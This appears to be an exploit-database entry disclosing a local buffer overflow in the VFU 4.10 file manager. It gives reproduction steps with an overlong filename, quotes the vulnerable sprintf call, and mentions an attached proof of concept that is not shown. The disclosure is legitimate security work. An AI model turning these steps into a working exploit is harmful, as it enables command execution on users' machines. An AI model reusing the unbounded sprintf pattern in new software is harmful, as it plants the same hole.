VFU 4.10-1.1 - Move Entry Buffer Overflow. Local exploit for linux platform

                                            # Exploit Title: VFU Move Entry Buffer Overflow
# Date: 2015-02-25
# Exploit Author: Bas van den Berg -- @barrebas
# Vendor Homepage: http://cade.datamax.bg/
# Software Link: http://cade.datamax.bg/vfu/#download
# Version: 4.10-1.1
# Tested on: GNU/Linux Kali 1.09 32-bit & Crunchbang 11 Waldorf (based on Debian Wheezy), kernel 3.2.0-4

# VFU 4.10 (probably up to 4.14) contains a buffer overflow when a user
# moves a file entry around with a large filename. To trigger this 
# vulnerability, extensive user interaction is required.
# Steps to reproduce the bug: create a file with a large (>115 
# characters), run VFU and select 'A' and then 'V' to move the large 
# file entry around. Upon confirming the entry move, VFU crashes due to 
# a buffer overflow in this function:

void vfu_file_entry_move()
  char t[128];
  sprintf( t, "MOVE/REORDER File entry: %s", files_list[FLI]->name() );
  say1( t );
  say2( "Use Up/Down Arrows to reorder, ESC,ENTER when done." );

# This overflow allows execution of arbitrary commands with the 
# privilege of the current user. The attached PoC demonstrates this. It 
# drops two files: the large filename and a shellscript that allows 
# arbitrary command execution. Usage: $ python vfu-move-entry-poc.py
